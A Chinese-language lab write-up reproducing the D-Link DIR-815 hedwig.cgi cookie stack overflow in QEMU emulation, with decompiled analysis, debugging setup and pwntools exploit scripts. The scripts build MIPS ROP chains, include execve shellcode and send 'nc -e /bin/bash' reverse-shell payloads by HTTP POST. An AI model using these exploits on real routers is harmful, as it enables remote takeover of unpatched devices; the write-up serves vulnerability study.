DIR-815漏洞复现

固件分析

确定固件架构

cd /bin
file busybox

binwalk分离固件

binwalk -Me file

mipsrop下载,ida9.0版本

IDA插件 MIPSROP的安装和使用方法_ida mips-CSDN博客

漏洞点分析

官方漏洞批漏:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

官方的漏洞报告中只提及了DIR-645型号的hedwig.cgi中会存在缓冲区溢出的漏洞,其实D-Link的DIR-815/300/600/645等型号都存在这个漏洞

根据漏洞描述,可知漏洞点在hedwig.cgi,同时这个文件指向/htdocs/cgibin,这个就是我们要分析的二进制文件

main中定位主要函数

// 函数入口,保存寄存器,分配栈空间,初始化局部变量。
int hedwigcgi_main()
{
  char *v0; // $v0
  const char *no_REQUEST; // $a1
  FILE *stream; // $s0
  int v3; // $fp
  int v4; // $s5
  int v5; // $v0
  const char *string; // $v0
  FILE *stream_1; // $s2
  int fd; // $v0
  int v9; // $s7
  int fd_1; // $v0
  char **v11; // $s1
  int i; // $s3
  char *v13; // $v0
  const char **v14; // $s1
  int v15; // $s0
  char *v16; // $v0
  const char **v17; // $s1
  int v18; // $s0
  int fd_2; // $v0
  const char *v20; // $v0
  char _runtime_session[20]; // [sp+18h] [-4A8h] BYREF
  char *s_2; // [sp+2Ch] [-494h] BYREF
  char *v24; // [sp+30h] [-490h]
  _DWORD v25[3]; // [sp+34h] [-48Ch] BYREF
  char s_1[128]; // [sp+40h] [-480h] BYREF
  char s[1024]; // [sp+C0h] [-400h] BYREF

  memset(s, 0, sizeof(s));                      // memset(s, 0, sizeof(s)); 初始化1024字节缓冲区s为0。
  memset(s_1, 0, sizeof(s_1));                  // memset(s_1, 0, sizeof(s_1)); 初始化128字节缓冲区s_1为0。
  strcpy(_runtime_session, "/runtime/session"); // strcpy(_runtime_session, "/runtime/session"); 拷贝字符串到_runtime_session。
  v0 = getenv("REQUEST_METHOD");                // v0 = getenv("REQUEST_METHOD"); 获取环境变量REQUEST_METHOD,判断HTTP请求类型。
  if ( !v0 )                                    // if (!v0) 检查REQUEST_METHOD是否存在,不存在则返回错误。
  {
    no_REQUEST = "no REQUEST";
LABEL_7:
    v3 = 0;
    v4 = 0;
LABEL_34:
    v9 = -1;
    goto LABEL_25;
  }
  if ( strcasecmp(v0, "POST") )                 // if (strcasecmp(v0, "POST")) 检查是否为POST请求,非POST则返回错误。
  {
    no_REQUEST = "unsupported HTTP request";
    goto LABEL_7;
  }
  cgibin_parse_request(sub_409A6C, 0, 0x20000); // cgibin_parse_request(sub_409A6C, 0, 0x20000); 解析CGI请求数据。
  stream = fopen("/etc/config/image_sign", "r");// stream = fopen("/etc/config/image_sign", "r"); 打开签名配置文件。
  if ( !fgets(s_1, 128, stream) )               // if (!fgets(s_1, 128, stream)) 读取签名内容,失败则返回错误。
  {
    no_REQUEST = "unable to read signature!";
    goto LABEL_7;
  }
  fclose(stream);                               // fclose(stream); 关闭签名文件。
  cgibin_reatwhite(s_1);                        // cgibin_reatwhite(s_1); 去除签名字符串中的空白字符。
  v4 = sobj_new();                              // v4 = sobj_new(); 创建字符串对象v4。
  v5 = sobj_new();                              // v5 = sobj_new(); 创建字符串对象v5。
  v3 = v5;
  if ( !v4 || !v5 )
  {
    no_REQUEST = "unable to allocate string object";
    goto LABEL_34;
  }
  sess_get_uid(v4);                             // sess_get_uid(v4); 获取当前会话的UID。
  string = (const char *)sobj_get_string(v4);   // string = (const char *)sobj_get_string(v4); 获取UID字符串。
  sprintf(s, "%s/%s/postxml", "/runtime/session", string);// sprintf(s, "%s/%s/postxml", "/runtime/session", string); 生成postxml路径。
  xmldbc_del(0, 0, s);                          // xmldbc_del(0, 0, s); 删除旧的postxml节点。
  stream_1 = fopen("/var/tmp/temp.xml", "w");   // stream_1 = fopen("/var/tmp/temp.xml", "w"); 创建临时XML文件用于写入。
  if ( !stream_1 )
  {
    no_REQUEST = "unable to open temp file.";
    goto LABEL_34;
  }
  if ( !haystack )                              // if (!haystack) 检查XML数据是否存在,不存在则返回错误。
  {
    no_REQUEST = "no xml data.";
    goto LABEL_34;
  }
  fd = fileno(stream_1);                        // fd = fileno(stream_1); 获取文件描述符。
  v9 = lockf(fd, 3, 0);                         // v9 = lockf(fd, 3, 0); 尝试对文件加锁,防止并发写入。
  if ( v9 < 0 )
  {
    printf(
      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
      0);
    v9 = 0;
    goto LABEL_26;
  }
  fd_1 = fileno(stream_1);                      // fd_1 = fileno(stream_1); 再次获取文件描述符。
  lockf(fd_1, 1, 0);
  s_2 = s_1;
  v24 = 0;
  memset(v25, 0, sizeof(v25));
  v24 = strtok(_runtime_session, "/");
  v11 = (char **)v25;
  for ( i = 2; ; ++i )
  {
    v13 = strtok(0, "/");
    *v11++ = v13;
    if ( !v13 )
      break;
  }
  (&s_2)[i] = (char *)sobj_get_string(v4);
  fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", stream_1);
  v14 = (const char **)&s_2;
  v15 = 0;
  do
  {
    ++v15;
    fprintf(stream_1, "<%s>\n", *v14++);
  }
  while ( v15 < i + 1 );
  v16 = strstr(haystack, "<postxml>");
  fprintf(stream_1, "%s\n", v16);
  v17 = (const char **)&(&s_2)[i];
  v18 = i + 1;
  do
  {
    --v18;
    fprintf(stream_1, "</%s>\n", *v17--);
  }
  while ( v18 > 0 );
  fflush(stream_1);
  xmldbc_read(0, 2, "/var/tmp/temp.xml");
  fd_2 = fileno(stream_1);
  lockf(fd_2, 0, 0);
  fclose(stream_1);
  remove("/var/tmp/temp.xml");
  v20 = (const char *)sobj_get_string(v4);
  sprintf(s, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
  xmldbc_ephp(0, 0, s, stdout);
  if ( v9 )
  {
    no_REQUEST = 0;
LABEL_25:
    printf(
      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
      no_REQUEST);
  }
LABEL_26:
  if ( haystack )
    free(haystack);
  if ( v3 )
    sobj_del(v3);
  if ( v4 )
    sobj_del(v4);
  return v9;
}

getenv去检查环境变量,然后全检测是不是post传参

cgibin_parse_request,函数中获取三个环境变量,这里参数的需要设置,并且有一定的要求

漏洞点就在sess_get_uid中

获取cookie环境变量,并解析,首先是检查cookie名是否是uid,然后将uid=后的ip给v4,而且没有限制,这里就存在栈溢出

然后是将v4->string->s,但s只有0x400字节,然后就会溢出

然后就是劫持程序流程,但实际上还需要绕过,也不是说绕过,参考正常pwn栈溢出的思路,我们肯定需要让程序执行完,然后才能执行到我们布置的rop链上,如何让程序能正常去执行

后续有两个要求

1./var/tmp/temp.xml存在

2.haystack != null

第一个只要我们不去破坏程序环境就不会出问题

关键是第二个,通过交叉引用我们发现控制haystack值的地方

这里实际上有两种处理方式,因为目的就是让程序走到我们的gadget上

1.CONTENT_TYPE=application/x-www-form-urlencoded

也是网上很多师傅分析的

sub_409a6c

每当cgibin_parse_request解析到一段需要处理的数据时,就会调用sub_409A6C,把数据交给它处理。这样,haystack就始终保存着最新的请求数据内容

正常执行的话haystack是不为空的

之后就是获取两个环境变量,REQUEST_URI/CONTENT_LENGTH

主要是CONTENT_TYPE,会检测"application/"这个字符串,同时会跳转到一个地方,ida中是看不到的,我们可以下断点调试看看

这里返回的是0x403b10

0x403b10

然后还是返回到0x409a6c,需要保证REQUEST_URI存在,然后程序就可以返回到我们布置好的rop上getshell

‍

实际上我们可以CONTENT_TYPE=任意,仅需设置post传参其他参数都不用控制,这样岂不是更简单

在sub_403B10不进入sub_402FFC,而是往下走,最后到sub_403794->cgibin_print_http_status

此时程序也可以走完,同时不触发报错,可以利用栈溢出漏洞,栈溢出的偏移不一样罢了

偏移

poc:

from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
    gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin",
               gdbscript="""
               b *0x409680\n    
               c\n
               """)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

libc_base = 0x7f738000#local
#libc_base = 0x77f34000 #remote
payload=cyclic(0x1000)

payload = b'a'*0x3cd
payload += b'a'*(4+0x18+12-2)
payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)
payload += b'abcd'
payload += p32(libc_base + 0x56BD0) # s3  sleep
payload += cyclic(20)#b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1)
 
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)
 
shellcode = asm('''
    slti $a2, $zero, -1
    li $t7, 0x69622f2f
    sw $t7, -12($sp)
    li $t6, 0x68732f6e
    sw $t6, -8($sp)
    sw $zero, -4($sp)
    la $a0, -12($sp)
    slti $a1, $zero, -1
    li $v0, 4011
    syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode



payload = b"uid=" + payload
post_content = "Thir0th=Pwner"
p = process(b"""
    qemu-mipsel -L ./ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    -g 1234 ./htdocs/cgibin
""", shell = True)

bug()
p.send(post_content)











inter()

‍

‍

qemu用户态模拟

这个比较简单,就跟本地调试异架构一样,但参数不一样

直接gdb调试

进入 squashfs-root 文件夹中,执行下列指令

cyclic 2000 > payload

init.sh脚本启动

#!/bin/bash

INPUT="Thir0th=Pwner"                       # 要发送的 POST 数据(可能是伪造登录
或命令执行尝试)
LEN=$(echo -n "$INPUT" | wc -c)         # 自动计算数据长度(Content-Length)
COOKIE="uid=`cat payload`"              # 从 payload 文件读取 cookie uid(模拟登
录身份)

# 使用 qemu-mipsel 启动 CGI 程序(绑定 GDB 调试端口 1234)
echo $INPUT | qemu-mipsel -L ./ \
  -0 "hedwig.cgi" \
  -E REQUEST_METHOD="POST" \
  -E CONTENT_LENGTH=$LEN \
  -E CONTENT_TYPE="application/x-www-form-urlencoded" \
  -E HTTP_COOKIE=$COOKIE \
  -E REQUEST_URI="2333" \
  -g 1234 \
  ./htdocs/cgibin

mygdb.sh

gdb-multiarch -x mygdb.sh

set architecture mips                                     
set follow-fork-mode child  
set detach-on-fork off                                    
target remote 127.0.0.1:1234
file ./htdocs/cgibin

‍

脚本调试

from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
    gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin",
               gdbscript="""
               b *0x402FFC\n    
               c\n
               """)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')





payload = b"uid=" + payload
post_content = "Thir0th=Pwner"
p = process(b"""
    qemu-mipsel -L ./ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH=10 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    -E REQUEST_URI="2333" \
    -g 1234 ./htdocs/cgibin
""", shell = True)

bug()
p.send(post_content)





inter()

‍

qemu系统态模拟

step1 下载对应内核+镜像

Index of /~aurel32/qemu/mipsel

step2 创建网桥

安装网络配置器

apt-get install bridge-utils uml-utilities

修改interfaces文件

sudo vim /etc/network/interfaces

修改之前可以先备份

sudo cp /etc/network/interfaces /etc/network/interfaces.brk

修改为

auto lo
iface lo inet loopback
 
auto ens33
iface ens33 inet dhcp
up ifconfig ens33 0.0.0.0 up
 
auto br0
iface br0 inet dhcp
 
bridge_ports ens33
bridge_maxwait 0

在 /etc/qemu-ifup 文件中写入下面内容(如果没有则需要创建,然后使用 sudo chmod a+x /etc/qemu-ifup)注意是写入,不是改成下面内容

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

开启物理机的转发功能

#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

然后在到/etc文件中创建一个 /qemu/bridge.conf 在这个文件中写入 allow br0

配置好之后reboot

step3 配置qemu网络

qemu启动脚本

# start.sh
#!/bin/bash
sudo qemu-system-mipsel \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap

将start.sh与下载的内核+镜像放置在一起,启动qemu

账号密码都是root

执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 fail 但是不要紧,不影响我们复现漏洞,太多 fail 可能就有点问题了需要问AI检查一下

nano 来修改 /etc/network/interfaces

将eth0改为eth1,(ip -a查看一下qemu网卡,不一定是eth1)

启用eth1接口

ifup eth1

之后执行ip -a就可以看到qemu的ip了

互ping,检测是否互通,按照上述步骤来是没问题的

在qemu中输入应该不方便,可以用ssh链接

# 低版本Ubutnu
ssh root@192.168.xx.xx

# 高版本Ubutnu
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.xx.xx

step4 启动环境

将路由器文件分解得到的 /squashfs-root 文件传入到 qemu虚拟机的 /root 文件夹下面

# 低版本Ubutnu
scp -r ./squashfs-root root@192.168.xx.xx:/root/
scp -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>

# 高版本Ubuntu
scp -o HostKeyAlgorithms=ssh-rsa -r ./squashfs-root root@192.168.xx.xx:/root/
scp -o HostKeyAlgorithms=ssh-rsa -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>

/squashfs-root 文件中使用 nano指令 创建一个 http_conf 文件用于开启httpd服务

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件
 
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
 
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
 
 
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth1                          #对应qemu仿真路由器系统的网卡(如果是按照上面操作来的话就不用改)
    Address 192.168.xx.xx                   #qemu仿真路由器系统的IP(需要改成自己的qemu虚拟机ip地址)
    Port "1234"                             #对应未被使用的端口(一般也是不用改)
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

qemu执行以下脚本,启动web服务

#init.sh
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

然后就应该可以去访问了

可以用nmap去扫描qemu,检测端口是否开放

nmap 192.168.10.67

step4 远程

需要用到gdbserver

已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改)

https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

远程调试

qemu /root/squashfs-root/路径下创建run.sh

调试ip地址是虚拟机主机ip

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi  
#echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

注:

#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi

这一行代码是与gdb-multiarch调试的时候开启。
192.168.10.60 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。

------------------------------------

# echo "winmt=pwner"|/htdocs/web/hedwig.cgi
这行代码是直接生成了payload直接攻击。

需要将gdbserver.mipsel传入qemu中

然后gdb-multiarch 接过来即可

set architecture mips                                     
set follow-fork-mode child  
set detach-on-fork off                                    
target remote 192.168.xx.xxx:6666
file ./htdocs/cgibin

file ./file

可以把文件加载到gdb里面获取函数名

qemu虚拟机要获取shell只能去打反弹shell,这里需要运行脚本,gdb-multiarch那边可以接收到我们发送的paylaod

from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
cmd = b'nc -e /bin/bash 192.168.87.135 8888' # 这里是Ubuntu物理机的地址
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
 
url = "http://192.168.87.136:1234/hedwig.cgi" # 这里是qemu虚拟机的地址
data = {"Thir0th" : "pwner"}
headers = {
    "Cookie"        : b"uid=" + payload,
    "Content-Type"  : "application/x-www-form-urlencoded",
    "Content-Length": "10"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

./run之后,然后Ubuntu的gdb去连接,然后Ubuntu在开个终端发送exp然后gdb里面就可以收到,这样子调试,反弹shell,还要再开一个终端监听端口,一共需要四个终端

nc -lvnp 8888

远程攻击

法一:向 QEMU 虚拟机上传 payload

这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为 uid,从而触发漏洞反弹 shell

run.sh

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi  
echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
cmd = b'nc -e /bin/bash 192.168.2.1 8888'   # 反弹 shell
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
 
fd = open("payload", "wb")
fd.write(payload)
fd.close()

将生成的payload scp过去

法二:向 httpd 服务发送 HTTP 报文

‍

from pwn import *
import requests

context(os='linux', arch='mips', log_level='debug')

cmd = b'nc -e /bin/bash 192.168.2.1 8888'   # 反弹 shell

libc_base = 0x77f34000

# 创建 payload
payload = b'a' * 0x3cd
payload += p32(libc_base + 0x53200 - 1)  # s0  system_addr - 1
payload += p32(libc_base + 0x169C4)      # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a' * (4 * 7)
payload += p32(libc_base + 0x32A98)      # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a' * 0x18
payload += cmd

# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"winmt": "pwner"}

# 定义请求头
headers = {
    "Cookie": b"uid=" + payload,
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "11"
}

# 发送 POST 请求
res = requests.post(url=url, headers=headers, data=data)

# 打印响应
print(res)

退出仿真环境

退出是执行fini.sh,要不然下次进去qemu会报错,init.sh脚本已经破坏了根目录,如果忘记的话重新下载内核和镜像

#fin.sh
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

关于虚拟桥接网络,可以不用去关闭

要关闭的话就这样,但后续配置还需要去配置虚拟桥连网络

参考链接

DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区

DIR-815 栈溢出漏洞-先知社区

从零到一:复现 DIR-815 栈溢出漏洞_dir815漏洞复现-CSDN博客

😘欢迎回来~ | 坠入星野的月🌙

D-Link DIR-815路由器溢出漏洞分析 | ZIKH26's Blog

CNVD-2013-11625复现 | 坠入星野的月🌙

‍